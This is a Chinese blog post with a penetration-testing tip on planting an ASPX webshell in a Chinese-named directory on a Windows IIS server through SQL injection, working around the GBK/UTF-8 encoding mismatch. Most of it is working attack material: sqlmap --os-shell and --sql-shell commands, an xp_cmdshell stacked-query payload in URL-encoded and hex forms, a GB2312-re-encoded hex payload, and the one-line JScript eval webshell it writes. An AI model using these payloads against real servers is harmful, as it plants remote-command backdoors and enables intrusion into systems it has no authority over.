渗透小tip------中文目录写入文件

  写不进去主要是因为编码的问题,如果大家想看可以去潇湘信安大佬的公众号去看一下。

  Sqlmap中的OS-Shell参数是通过调用windowscmd.exe执行的命令,在window中cmdpowershell默认位GBK格式,而sqlmap默认是以UTF-8提交的数据包。

  1. OS-SHELL写入方式

    使用burp抓包

    sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --os-shell --batch --proxy http://127.0.0.1:8080

    然后在OS-shell交互界面中写入,这里的尖括号需要使用^来转义,后面的写入都需要转移。

    echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell2.aspx


    编码前

    /sql.aspx?id=1%3BDECLARE%20%40clit%20VARCHAR%288000%29%3BSET%20%40clit%3D0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078%3BINSERT%20INTO%20sqlmapoutput%28data%29%20EXEC%20master..xp_cmdshell%20%40clit—

     

    编码后

    /sql.aspx?id=1;DECLARE @clit VARCHAR(8000);SET @clit=0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @clit—

     

    数据包中已将空格和符号都转成URL编码了,可以先进行URL解码,在解码后的内容中可以看到有一串HEX(UTF-8)编码,解码后的内容就是我们执行的echo写马命令。

     

    0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078

     

    echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell2.aspx

     

    因为xp_cmdshell调用的cmd.exe命令终端是GBK,所以这时我们还需要将解码后的写马命令再次进行HEX(GB2312)编码,然后BurpSuite替换掉原始数据包中的HEX(UTF-8)编码后再提交即可。

    6563686F205E3C25402050616765204C616E67756167653D224A73637269707422255E3E5E3C25256576616C28526571756573742E4974656D5B2278787861736563225D2C22756E7361666522293B255E3E203E20433A5C696E65747075625C777777726F6F745CD6D0CEC4B2E2CAD45C7368656C6C322E61737078

     

    这时可以看到我们的马已经成功写入至中文路径。

  2. sql-shell或者网页直接写

    因为sqlmap和网页默认中文路径,都是使用UTF-8的编码方式,所以可以直接写入,,否则还是写不进去

    sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --sql-shell --batch --proxy http://127.0.0.1:8080

    然后在交互窗口写入

    exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell1.aspx'

     

    或者直接在网页中写入

     

    ;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell.aspx'--

     

     

posted @ 2021-06-10 16:09  Shadown-PQ  阅读(317)  评论(0编辑  收藏  举报